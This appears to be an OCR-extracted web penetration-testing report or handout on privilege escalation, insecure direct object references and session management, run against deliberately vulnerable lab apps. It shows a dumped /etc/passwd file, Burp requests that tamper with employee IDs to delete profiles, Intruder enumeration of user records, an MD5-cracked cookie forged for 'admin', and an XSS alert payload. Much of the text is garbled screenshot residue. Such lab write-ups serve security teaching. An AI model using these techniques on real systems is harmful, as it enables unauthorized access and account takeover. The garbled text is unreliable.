Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:
/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh Ip:x:7:7:Ip:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:
/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-
data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var
/lib/libuuid:/bin/sh syslog:x:101:102::/home/syslog:/bin/false klog:x:102:103::/home/klog:/bin/false mysql:x:103:105:MySQL Server,,,:/var/lib/mysql:
/bin/false landscape:x:104:122::/var/lib/landscape:/bin/false sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin postgres:x:106:109:PostgreSQL
administrator,,-/var/lib/postgresql:/bin/bash messagebus:x:107:114::/var/run/dbus:/bin/false tomcat6:x:108:115::/usr/share/tomcat6:/bin/false
user:x:1000:1000:user,,,./home/user:/bin/bash polkituser:x:109:118:PolicyKit,,,./var/run/PolicyKit:/bin/false haldaemon:x:110:119:Hardware abstraction
layer,,,-/var/run/hald:/bin/false pulse:x:111:120:PulseAudio daemon,, :/var/run/pulse:/bin/false postfix:x:112:123::/var/spool/postfix:/bin/false

2. Testing for Privilege Escalation



Privilege escalation occurs when a user gets access to more resources or functionality than they
are normally allowed, a such elevation or changes should have been prevented by the
application. This is



usually caused by a flaw in the application. The result is that the application performs actions
with more privileges than those intended by the developer system administrator.

How to Test

e Testing for role/privilege manipulation

Test Example

“ Goat Hills Financial

5
JA Human Resources
Tlifi' Welcome Back Larry - Staff Listing Page

(4

Select from the list below

Larry Stooge (employee

 SearchStaff

. ViewProfile

 Logout




“ Goat Hills Financial

5
Jﬁ Human Resources

Tlifi' Welcome Back John - Staff Listing Page

(4

Select from the list below

Larry Stooge (employee)
Moe Stooge (manager)
Curly Stooge (employee)
Eric Walker (employee)
Tom Cat (employee)

Jerry Mouse (hr)

David Giambi (manager)
Bruce McGuirre (employee)
Sean Livingston (employee)
Joanne McDougal (hr’
-John Wayne (admin

SearchStaff

E I
=]
=3

ViewProfile
CreateProfile
DeleteProfile

Solution Videos

Stage 1

Burp Intruder Repeater Window Help

Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts

Target Proxy Spider Scanner Intruder Repeater
Stage 1|: Bypasls Presentational ILayer Aﬁcess Control. : ~
As regular employee 'Tom', exploit weak access control tg HTTP history : 5
Staff List page. Verify that "I’orn's profile can be deleted. Tl [ iercent T — TWebSockets fstony T Optons ]
given names in lowercase (e.g. the password for Tom Cat| —
| Fitter: Hiding CSS, image and general binary content | ?
& # | Host | Method | URL Params | Edted |S
% G“t H's Hmdd 2607  hitp://192.168.222.136 GET /WebGoatlj rip! s 3|A
]‘ Human Resources 2608  http://192.168.222.136 GET /WebGoat/javascripttoggle.js 3]
el BackJoh Staff Geting P 2613 hitp:/192.168.222.136 GET IWebGoat/javascript/javascript.js 3
L 'ng Fage 2614 hitp://192.168.222.136 GET IWebGoatlj ript is 3
2626  hitp://192.168.222.136 GET /WebGoat/images/menu_images/1x1_o... 4
2636 | http://192.168.222.136 POST IWebGoat/attack?Screen=65&menu=200 v 2
; 2640  hitp://192.168.222.136 GET /WebGoatlj rip! i s 3
Belect from the list below 2642 hitp://192.168.222.136 GET /WebGoat/javascript/menu_system js 3y
<« -~ Y|
Larry Stooge (employee -
Moe Stooge (manager) ‘,—‘ Request I Response
Curly Stooge (employee) | SearchStaff _[_T
. ) Raw | Params | Headers | Hex
Eric Walker (employee) | ViewProfile A T
Tom Cat (employee) = = Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 A

Jerry Mouse (hr) CreateProfile

David Giambi (manager) \ DeleteProfile
Bruce McGuirre (employee) %
Sean Livingston (employee) \ Logout |

Joanne McDougal (hr)
John Wayne (admin)

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.222.136/WebGoat/attack?Screen=65&menu=200
Content-Type: application/x-www-form-urlencoded

Content-Length: 36

Cookie: dbx-postmeta=grabit=0-,1-,2-,3-,4-, 5~ 6-cadvancedstuff=0-,1-,2-;
security_level=0; acopendivids=swingset, jotto,phpbbl, redmine;
acgroupswithpersist=nada; PHPSESSID=4fm0Zflqqdmiiélso7olZ¢nhlk0;
Server=b3dhc3BidlE=; JSESSIONID=ElS51225304320EEFASAALIF4€ECDIBY98
Authorization: Basic dZViZIZShdDp3ZWInbZFO

Connection: close
Upgrade-Insecure-Recquests:

1

employee_id=lll&action=DeleteProfile

BAAS




‘ 3043 | hitp://192.168.222.136 POST =200 v v 200 33531 HTML LAB: Role Based Acces...

3046  http://192.168.222.136 GET IWebGoat/javascriptitoggle.js 304 230 script s
3048  http://192.168.222.136 GET IWebGoat/javascript/makeWindow. js 304 229 script s
3049 http://192.168.222.136 GET IWebGoat/javascript/menu_system.js 304 230 script s
3050  http://[192.168.222.136 GET IWebGoat/javascript/javascript.js 304 229 script s
3051 http://192.168.222.136 GET IWebGoat/javascript/lessonNav.js 304 230 script s
%? http://192.168.222.136 GET IWebGoat/images/menu_images/1x1_o... 404 1368 HTML gif Apache Tomcat/6.0.24 - ...
< T

_I Original request T Edited request I Response ]

Raw PsramsTHeaders Hex

POST /WebGoat/attack?Screen=65&menu=200 HTTP/1.1
Host: 192.168.222.136

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:58.0) Gecko/20100101 Firefox/58.0

Accept: text/html,application/xhtml+xml,application/xnl;q=0.9,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.222.136/WebGoat/attack?Screen=65anenu=200

Content-Type: application/x-www-form-urlencoded

Content-Length: 34

Cookie: dbx-postmeta=grabit=0-,61-,2-,3-,4-,5-, 6-cadvancedstuff=0-,1-,2-; security_level=0; acopendivids=swingset,jotto,phpbb2, rednine; acgroupswithpersist=nada;
PHPSESSID=4fn02 flrqqdniiélsoTol :0; Server=b3dhc3Bid2E=; JSESSIONID=E1S1225304320EGFASAALF4EE2DIBIIE

Authorization: Basic d2ViZ2ShdDp3ZWinblFO

Connection: close

Upgrade-Insecure-Requests: 1

employee_id=l0Z&action=EditProfile

3043  hitp://192.168.222.136 POST v v 200 33531 HTML LAB: Role Based Acces...
3046  http://192.168.222.136 GET /WebGoatfjavascriptitoggle.js 304 230 script is
< J

[ Original request ] Edited request I Response ]

Raw ParamsTHeaders Hex

POST /WebGoat/attack?Screen=£5&menu=200 HTTP/1.1

Host: 192.1€8.222.13€

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,6*%/*;q=0.
Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.222.136/WebGoat/attack?Screen=65&menu=200
Content-Type: application/x-www-form-urlencoded

Content-Length: 36

Cookie: dbx-postmeta=grabit= ,2-,3-,4-,5-,6-6advancedstuff=0-,1-,2-; security_level=0; acopendivids=swingset,jotto,phpbbZ, rednine; acgroupswithpersist=nada;
PHPSESSID=4fn0Zfkqqdniiélso, ¢nhk0; Server=b3dhc3BidlE=; JSESSIONID=E151225304320E6FASAALF46EZDIBO98

Authorization: Basic dZViZ2ShdDp3ZWInbZIFO

Connection: close

Upgrade-Insecure-Pequests: 1

employee_id=102gaction=DeleteProfile|

3043  http://192.168.222.136 POST IWebGoat/attack?Screen=65&menu=200 v v 200 33531 HTML LAB: Role Based Acces...
3046  hitp://192.168.222.136 GET /\WebGoat/javascript/toggle.js 304 230 script s

<
[ Original request I Edited request T Response ]

Raw | Headers | Hex HTMLIRender]

Stage 2: Add Business Layer Access Control.<br><br /><b><font color="blue"> THIS LESSON ONLY WORKS WITH THE DE
/>Implement a fix to deny unauthorized access to the Delete function. To do this, you will have to alter the WebGoat code. Once you have done
DeleteProfile functionality is properly denied. </div>

<div id="message" class="info"><BR> * You have completed Stage 1: Bypass Business Layer Access Control.<ER> *

Control</div>

3. Testing for Insecure Direct Object References

Insecure Direct Object References occur when an application provides direct access to objects
based on user-supplied input. As a result of this vulnerability attackers can bypass authorization
and access resources in the system directly, for example database records or files.

Insecure Direct Object References allow attackers to bypass authorization and access resources
directly by modifying the value of a parameter used to directly point to an object. Such resources
can be database entries belonging to other users, files in the system, and more. This is caused by
the fact that

th



e application takes user supplied input and uses it to retrieve an object without performing
sufficient authorization checks.



How to Test

e Map out all locations in the application where user input is used to reference objects directly. The
best way to test for direct object references would be by having at least two or more users to cover
different own objects and functions.

e The value of a parameter is used directly to retrieve a database record

e The value of a parameter is used directly to perform an operation in the system

o The value of a parameter is used directly to retrieve a file system resource

o The value of a parameter is used directly to access application functionality

Test example

® 192.168.222.136/cyclone/ e @ 7| | Q search

CYCLONE TRANSFERS <

My Bank Accounts
My Transfers
My Settings

Welcome to Cyclo.:<.

A new way to transfer money to your friends!

Hi, Marley Barton

Transfer Money Now!

CAUTION: This is an intentionally broken web application.
Please do NOT use any real information

Target | Proxy | Spider | Scanner | intruder | Repeater I Sequencer T Decoder I Comparer I Extender T Project options T User options | Alerts
J intercept I HTTP history I WebSockets history | Options

(#) Request o http:11192.168.222.136:30
Forward Drop Intercept is on Action e TS e @
Raw | Params | Headers | Hex

BET /eyclone/users/4 HTTR/1.1

Host: 192.168.222.136

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, te

Referer: http://192.168 136/cyclone/

Coolrie: dbx-postmeta=gr 0-,1-,2-,3-,4-,5-,6-gadvancedstuf f=0-,1-,2-; security_level=0; acopendivids=swingset,jotto,phpbbZ, redmine; acgroupswithpersist=nada;
PHPSESSID=lovuarrl8tZlucoShSSm3qon34; S er=b3dhc3Bid2E=; JSESSIONID=E151225304320EEFASAALIF46ECDIBYSE;

_cyclone_session=BAh7BOkiD3N1c3Npbl5faW(GOgZFRkkiJTQ3ZWIiNDIhYnYxMDclMWIhN) EZZDMOM) g4YTQxNDQyBj sAVELiEFS)c3InX3RvaZVuBj sARkk iMThThnhnZ0MzSHhVS1ViZnlydk S0V0sy cnhp SVIZWHBoWWA) SEdxdUph YV SBjsAR
g%3D%3D--2leaatElaBls394£3798£898bcl9ce77£34497bc; remember_ token=Stu37BrvdLCcPfSwaD7x4g

Connection: close

Upgrade-Insecure-Requests: 1



Target | Proxy | Spider | Scanner | intruder | Repeater I Sequencer Tbemef Ioomouref IExtender T Project options. I User options | Alerts

[1 = Vil -

Target | Postions | Payloads | Options

@ Payload Positions

Start attack
Configure the posttions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload posttions - see help for ful details.

Attack type: | Sniper m

GET /cyclone/users/§4§ HITP/1.1

A Add
Host: 192.168.222.136 l—§J

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:58.0) Gecko/20100101 Firefox/58.0

Accept: text/html,applicat xhtml+xml,application/xml;q=0.9,*%/*;q=0.8 Clear §

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate Auto §
Referer: http://182.168.222.136/cyclone/

Cookie: dbx-postmeta=grabit=0-,1-,2-,3-,4-, 5= 6~ A=,2=; ity level=0; ivi i ,jotto,phpbbl, rednine; acgroupswithpersist=nada; Refresh
PHPSESSID=lovuarrlstl 4 dhe3Bid2E=; JSESSIONID=EL51225304320E6FASAALF4EECDIBSSS;

_cyclone_session=BAhTEOkiD3N1c3Nph2§ £aWQGOgZFRik iJTQ3ZWI iNDIhYuY <MD e LMW I E2ZDMOM) g4 YTQxNDQyB] SAVEK iEFS SVuB 3 sARKK iMTE 1vizn. P!

HBoWWd: JsAl 21 EE2a815394£37 19ce77£34497be; ) Txdg

Connection: close
Upgrade-Insecure-Requests: 1

Target | Proxy | Spider | Scanner | ntruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts
ol
Target | Postions | Payloads | options

(@) Payload Sets o |

Startattack | |

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.
Payload set: | 1 2 Payload count: 1,000

Payload type: | Numbers ¥ Reguest count: 1,000

Payload Options [Numbers]

®

This payload type generates numeric payloads within a given range and in a specified format
Number range

Type: @ Sequential O Random

From: 1
To: 1000
1

Step:

How many:

® 192.168‘222.136/cyc[one/users/z] Altack Save Coumis

Results T Target T Positions. T Payloads Tomions ]
CYCLONE TRANSFER

l Fiter: Showing all tems.

Request | Payload | Status | Error | Timeout |Length | Comment
6 6 200 a @] 7785
Marley Barton ; 7 poot 8 8
8 8 200 a @] 7793
9 9 200 a a 7783
3 3 200 a @] 7791
10 10 200 @] @] 7795
1" 11 200 O 1 g s
12 12 200 a a 7789
13 13 200 a o 7807
14 14 200 (@] o 7797
15 15 200 a @] 7789
16 16 200 @] a 7791
17 17 200 a @] 7785

Request | Response
Raw | Headers | Hex HTMLTRender}

<meta http-ecquiv="X-UA-Compatible" content="IE=Edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Cyclone Transfers | Mr. Brody Bashirian</title>

<!-- Le HIMLS shim, for IE6-8 support of HIML elements -
<!--[if 1t IE 9]>

<script sre="http://htmlSshim.googlecode.com/svn/trunk/htmls. js" typ
<![endif]-->

text/javascript"></script>




Intruder attack 1 = O X

Attack Save Columns

[ Resuts | Target | postions | Payioads | options |
Match type: @ Simple string :
O Regex
() case sensitive match
) Exclude HTTP headers
Define extract grep item X
@ Grep - Extrad
— w Define the location of the item to be extracted. Selecting the item in the response panel will create a suitable configuration
@ These settings cf —  automatically. You can also modify the configuration manually to ensure it works effectively.
@ Extract the f ~ [ Define start and end r O Extract from regex group -
Add @ Start after expression: | <title=Cyclone Transfers \.0%\n  (*?)\ Marley
E O Start at offset: 1110 [ Case sensitive
Remove
— 0
Duplicate @ End at delimiter: <Hitle>
Up O End at fixed length: 24
Down
Clear ([J Exclude HTTP headers (¥ Update config based on selection below Refetch response
. [Errnzi 1 ~no ow |
Maximum captur: —— —— —— —— T
? < + > i Type a search term 0 matches
— OK Cancel
w Grep - Payloj
@ These settings can be used to flag result tems ining reflections of the itted payload. |

Intruder attack 1
Attack Save Columns

JMTTarget TPositions TPayloads TOptions]

Fitter: Showing all items

Regquest l Payload I Status l Error | Timeout l Length l <title> Cyclone Tranfer... ¥
102 102 200 g @] 7766 | abc

101 101 200 g @] 7762 la

62 62 200 )] g 7781 | Yvonne Hahn

35 35 200 )] g 7783 | Watson Boyer

9 9 200 g @] 7783 | Virgie Ortiz

90 90 200 )] g 7787 | Verna Champlin
53 53 200 )] g 7789 | Tremaine Heaney
18 18 200 g @] 7785 | Tatum Okuneva
21 21 200 g @] 7785 | Sydnie Schultz
57 57 200 a g 7783 | Sydnee Hamill

31 31 200 g g 7789 | Stefanie Hamill
61 61 200 a g 7783 | Sim Wolf lll

35 35 200 )] g 7779 | Sasha Koss

438 43 200 )] g 7783 | Samara Davis

85 85 200 )] g 7801 | Sabina Schamberger i
63 63 200 a g 7785 | Ryder Wuckert
44 44 200 a g 7783 | Rusty Wisozk

27 27 200 a g 7789 | Riley Friesen Il

31 31 200 g @] 7785 | Rickey Cronin




Session Management Testing

1. Testing for Bypassing Session Management Schema

In this test, the tester has to check whether the cookies issued to clients can resist range of attacks
aimed to interfere with the sessions of legitimate users and with the application itself. The overall
goal is to be able to forge a that will be considered valid by the application and that will provide
some kind of unauthorized access.

How to test
Usually the main steps of the attack pattern are the following:

e Cookie collection: collection of a sufficient number of cookie samples

e Cookie reverse engineering: analysis of the cookie generation algorithm

e Cookie manipulation: forging of a valid cookie in order to perform the attack, this last step might
require a large number of attempts, depending on how the cookie is created (cookie brute force
attack)

Test example

&~ cC ® @ https://attack.samsclass.info/cookielogin/index.htm
Cookie Login Page

CLOUDFLARE

Name: l root ]

Password: Itoor |

Submit Query
Logins to try

root toor
admin password

Last revised 10-10-14 1:04 pm by Sam Bowne



Cookie Collection



< C @ ® @ https://attack.samsclass.info/cookielogin/messageboard.php

Message Board

. CLOUDFLARE'

VA 0y iz He000):412863a9f0ea7bb98050796b649e85481845

Welcome Linux Root User!

Host: attack.samsclass.info

Firefox/58.0

Accept: */*

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Peferer: https://attack.samsclass.info/cookielogin/messageboard. php
Cookie: .ASPXAUTH=E3a9f0ea7bbhS805079€bE459e85481845;
AUTH=63a9f0ea7bh98050796hE459e85481845;
__cfduid=d725a8b09£f8£f0aaZf49c£5c08613c008al51357897¢

Connection: close

Cookie Reverse Engineering

input your hash here to crack this:63a9f0ea/bb98050796b649e85481845
hash function: MD5

R R K2 0 o o o o o o o o o o K

hash md5 cracked: root

Cookie manipulation

Guess administrator’s username admin have cookie like below:
Cookie = md5(admin)=

212321297a57a5a743894a0e4a801fc3

| 3431 https://attack.samsclass.info HEAD Icookielogin/messagebeard.php 2|V

BAS J S

J Request T Response ]

J Raw T Params T Headers T Hex ]

HEAD /cookielogin/messageboard.php HTTP/1.1 A
>

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:58.0) Gecko/Z0100101




3437  https://ajax.cloudflare.com
3438  hitps://attack.samsclass.info

Jcdn-cgiinexp/cloudflare.js

HEAD Icookielogin/messageboard.php

GET /cookielogin/messageboard.php Eﬁ?/l.l

Host: attack.samsclass.info

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x€4; rv:58.0) Gecko/20100101 Firefox/58.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://attack.samsclass.info/cookielogin/index.htnl

Cookie: .ASPXAUTH=63a9f0ea7bh98050796bE49eB85481845; AUTH=£3aS£f0ea7bbSB8050796hE49285481845; _ cfduid=d725a8b09£f8f0aaZf459c£5c08613c008al51357897¢6
Connection: close

Upgrade-Insecure-Recquests: 1
Cache-Control: max-age=0

3437  https://ajax.cloudflare.com
3438  https://attack.samsclass.info

=1

GET /cookielogin/messageboard.php :ﬁm -1

Host: attack.samsclass.info

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://attack.samsclass.info/cookielogin/index.htnl

Cookie: .ASPXAUTH=21232£297a57a5a7438594a0e4a801fc3; AUTH=21232£297a57a5a743894a0e4a801fc3; _ cfduid=d725a8b09£8£0aalf49c£5c08613c008al513578976
Connection: close

Upgrade-Insecure-Recquests: 1

Cache-Control: max-age=0

3437  https://ajax.cloudflare.com GET Icdn-cgiinexpl/cloudflare.js 304 519 script is
3438 hitps://attack. info HEAD ielogit php 200 265 HTML php

2. Testing for Cookies attributes

How to Test

Testing for cookie attribute vulnerabilities



By using an intercepting proxy or traffic intercepting browser plug-in, trap all response where a
cookie is set by the application (using the Set-cookie directive) and inspect the cookie for the
following:



e Secure Attribute — Whenever a cookie contains sensitive information or is a session token, then it
should always be passed using an encrypted tunnel. For example, after logging into an application
and a session token is set using a cookie, then verify it is tagged using the ";secure" flag. If it is
not,then the browser would agree to pass it via an unencrypted channel such as using HTTP, and
this could lead to an attacker leading users into submitting their cookie over an insecure channel.

e HittpOnly Attribute — This attribute should always be set even though not every browser supports
it. This attribute aids in securing the cookie from being accessed by a client side script, it does not
eliminate cross site scripting risks but does eliminate some exploitation vectors. Check to see if the
"HttpOnly" tag has been set.

e Domain Attribute — Verify that the domain has not been set too loosely. It should only be set for
the server that needs to receive the cookie. For example if the application resides on server
app.mysite.com, then it should be setto " domain=app.mysite.com" and NOT "
domain=.mysite.com" as this would allow other potentially vulnerable servers to receive the
cookie.

e Path Attribute — Verify that the path attribute, just as the Domainattribute, has not been set too
loosely. Even if the Domain attribute has been configured as tight as possible, if the path is set to
the root directory "/" then it can be vulnerable to less secure applications on the same server. For
example, if the application resides at /myapp/, then verify that the cookies path is set to ";
path=/myapp/" and NOT "; path=/" or "; path=/myapp". Notice here that the trailing "/" must be
used after myapp. If it is not used, the browser will send the cookie to any path that matches
"myapp" such as "myapp-exploited".

e Expires Attribute — If this attribute is set to a time in the future verify that the cookie does not
contain any sensitive information. For example, if a cookie is set to "; expires=Sun, 31-Jul-2019
13:45:29 GMT" and it is currently July 31st 2018, then the tester should inspect the cookie. If
the cookie is a session token that is stored on the user's hard drive then an attacker or local user
(such as an admin) who has access to this cookie can access the application by resubmitting this
token until the expiration date passes/

root@kali: ~/Desktop @ ® 0

File Edit View Search Terminal Help

Transfer-Encoding: chunked

Strict-Transport-Security: max-age=31536000; includeSubDomains

Content-Security-Policy: script-src 'report-sample' 'nonce-IhfHVdQcsK7CQlpBg5QZX10XwiE' 'unsafe-inline' 'strict-dynamic' https: http:
object-src 'none';base-uri 'self';report-uri /cspreport

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

APS=1:b3emoSytNQeiWwImBxrH9xta4HEEKg:9nzAIAzsTAX8KEqo;Path=/;Expires=Wed, 04-Mar-2020 07:07:19 GMT ure;HttpOnly;Priori
"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,qui 3"; ma=2592000; v=

[+] Analyzing HTTP header of https://gmail.com ...
N
Server: GSE
HTTP Strict-Transport-Security is being enabled [Value: max-age=31536000; includeSubDomains]
Response header specifying a safe character set like UTF-8
X-Frame-Options is being enabled [Value: DENY]
X-XSS-Protection is being enabled [Value: 1; mode=block]
X-Content-Type-Options is being enabled [Value: nosniff]
Server does not enfore Public Key Pinning HPKP. [Value: Missing]
Content-Security-Policy CSP is being enabled [Value: script-src 'report-sample' 'nonce-IhfHVdQcsK7CQ1lpBq5QZX10XwiE' 'unsafe-inline' 'strict-dyna
' https: http: 'unsafe-eval';object-src 'none’';base-uri 'self';report-uri /cspreport]
Secure flag in Set-Cookie is being enabled
Httponly flag in Set-Cookie is being enabled
Path flag in Set-Cookie is being enabled
Anti Cross-Site Request Forgery Token is Missing in Set-Cookie. [Value: GAPS=1:b3emoSytNQeiWwImBxrH9xta4HEEKg:9nzAIAzsTAx8kEqo;Path=/;Expires=We
d, 04-Mar-2020 07:07:19 GMT;Secure;HttpOnly;Priority=HIGH]
T ——
:~/Desktop# I




3. Testing for Session Fixation

Summary

When an application does not renew its session cookie(s) after a successful user authentication,
it could be possible to find a session fixation vulnerability and force a user to utilize a cookie
known by the attacker. In that case, anattacker could steal the user session (session hijacking).

Session fixation vulnerabilities occur when:

e A web application authenticates a user without first invalidating the existing session ID, there by
continuing to use the session ID already associated with the user.
e An attacker is able to force a known session ID on a user so that, once the user authenticates, the
attacker has access to the authenticated session.

Test example

D@ #(®(/(D(@O(G(D®(B/ x \GNe
& Cc o ® @ https:/attack. w = 2 o & C | & Secure | https://attack.samsclass.info/cookielogin/messageb
~
Message Board Message Board
CLOUDFLARE’ CLOUDFLARE’
AUTH COOKIE: 21232f297a57a5a743894a0e4a801fc3 Y-\ 0y He010)°412% 63a9f0ea7bb98050796b649e85481845]
‘Welcome Administrator! Welcome Linux Root User!
Comment: Comment:

Post Comment

Post Comment
Erase Comments

Erase Comments
| Logout |
Logout
Fun Injections

Fun Injections



| Decoder | comparer | Extender | Projectoptons | Useroptions | Aleris & > C [ﬂ Secure | https://attack.samsclass.info/cookielogin/messagebo... ¥

—_—
Filter: Hiding CSS, image and general binary content

# [Hst  Metod [URL  |Paams [Edted |[Status |1
1

3447  nttps:/attack samsclass.info GET Icookielogin/logout.php?Logout=Logout v 200
3448 hitpsiiattack samsclass.info GET Icookielogin/cookielogin.php?n=gp= v v o302
3449 hitpsiattack samsclass.info GET Icookielogin/cookielogin. php?n=adming.... v 302
3450 https:attack samsclass.info GET Icookielogin/messageboard.php 200
3451 hitps:attack samsclass.info HEAD /cookielogin/messageboard.php 200
3453 https:iiajax.cloudfiare.com GET Iedn-cgiiexplcloudfiare js 304
3454 https:iattack samsclass.info HEAD  /cookielogin/messageboard.php 200
Bl

GET /cookielogin/messageboard.php HTTP/L.1

Host: attack.samsclass.info

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://attack.samsclass.info/cookielogin/index.html

Cookie: .ASPXAU ; AUTH=21232£297a57a5a743894a0e4a801fc3;
__cfduid=d725a8b09 £8£0aa2 f49c £5c08613c008a1513578978

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Filter: Hiding CSS, image and general binary content @

# |Host [Metod Jure  [Params [Edied [Staws [l
3447  https://attack.samsclass.info GET Icookielogin/logout. php?Logout=Logout v 200 4
3448  https://attack.samsclass.info GET Icookielogin/cookielogin.php?n=8&p= v v 302
3449 https://attack.samsclass.info GET Icookielogin/cookielogin.php?n=adming... v 302
3450  https:/attack.samsclass.info GET Icookielogin/messageboard.php 200
3451  https://attack.samsclass.info HEAD Icookielogin/messageboard.php 200
3453 https://ajax.cloudflare.com GET Icdn-cgilnexp/cloudflare. js 304
3454  https://attack.samsclass.info HEAD Icookielogir rd.php 200
B |

GET /cookielogin/messageboard.php HITP/L.1 D
Host: attack.samsclass.info
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xE4; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xnl,application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://attack.samsclass.info/cookielogin/index.html

. ASPXAUTH= ; AUTH=63a9£0 1845;
1d=d725a8b09 £8£0aat £49¢ £5c08613c008al513578976
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0




Message Bo: X

® & https://atta

ack.samsc|

< c @

Message Board

4#®. CLOUDFLARE'

Welcome Linux Root User!

e @ W | Q Search

AUTH COOKIE: 6329f0ea7bb98050796b649e85481845

»

~

B (D # 003‘\T‘Vigx~

e ® (/&

https://attack.samsclass.info/cookielogin/mes

& C | & Secure

Message Board

£#®. CLOUDFLARE'

AUTH COOKIE: 6329f0ea7bb98050796b649e85481845

C

W) Burp Suite Professional v1.7.30 - Temporary Project - licensed to Larry_Lau

Burp Intruder Repeater Window Help

[m] X

Welcome Linux Root User!

[ Repeater I Sequencer I Decoder T Comparer I Extender T Project options T User options. T Alerts. ]
Target Proxy Spider Scanner Intruder

[ Intercept T HTTP history T WebSockets history T Options ]

[ Fitter: Hiding CSS, image and general binary content ‘ w

\ # | Host | Method | URL | Params | Edited | Status | Length

E1S > OE|

Post Comment

[ Original request T Edited request T Response ]

Erase Comments

Raw | Headers | Hex | HTML Render]

Logout

Fun Injections

Message Board

AUTH COOKIE: 63a9f0ea7bb98050796b64985481845

Welcome Linux Root User! Comment:

<script=alert("XSS Vulnerabilitv!"):</scrit

4. Testing for Exposed Session Variables

How to Test

e it

Testing for Encryption & Reuse of Session Tokens Vulnerabilities

Every time the authentication is successful, the user should expect to receive




A different session token

&« Cc @ ® @ https://attack.samsc! e @ | | Q Search »

Message Board

4#®. CLOUDFLARE'

AUTH COOKIE: 6329f0ea7bb98050796b649¢85481845

Welcome Linux Root User!

B (D@ \(#(®(/(@®(@®O(c\E

& C | @ Secure | https://attack.samsclass.info,

Message Board

2% CLOUDFLARE'

AUTH COOKIE: 6329f0ea7bb98050796b649e85481845
Welcome Linux Root User!

C

Burp Intruder Repeater Window Help

W) Burp Suite Professional v1.7.30 - Temporary Project - licensed to Larry_Lau

—DXL

[ Repeater I Sequencer I Decoder T Comparer I Extender T Project options T User options. T Alerts. ]
Target Proxy Spider Scanner Intruder

[ Intercept T HTTP history T WebSockets history T Options ]

[ Fitter: Hiding CSS, image and general binary content ‘ w

\ # | Host | Method | URL | Params | Edited | Status | Length

E1S = OE|

R [ Original request T Edited request T Response ]

Erase Comments HTUL | Render |

Raw | Headers | Hex

Message Board

Logout

Fun Injections AUTH COOKIE: 63a0f0ea7bb98050796b649¢85481845

<script>alert("XSS Vulnerabilitv!™):</scrif Welcome Linux Root User! Comment:

A

e it

A token sent via encrypted channel every time they make HTTP Request




| 3469 nitpuns2.168.222.136 GET JOWAPP/smgmt_sessionid_urlphp?PHP... v 200 11473 HTML php bWAPP - Session Manag... 192.168.222.136
«

T
Reguest | Response
Raw | Params | Headers | Hex
GET /bWAPP/smgut_sessionid_url.php?PHPSESSID=h11153ShipkloSScnhOavp fvb7 HITP/L1. 1
Host: 182.16£8.222.136
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xE4; rv:58.0) Gecko/Z0100101 Firefox/58.0
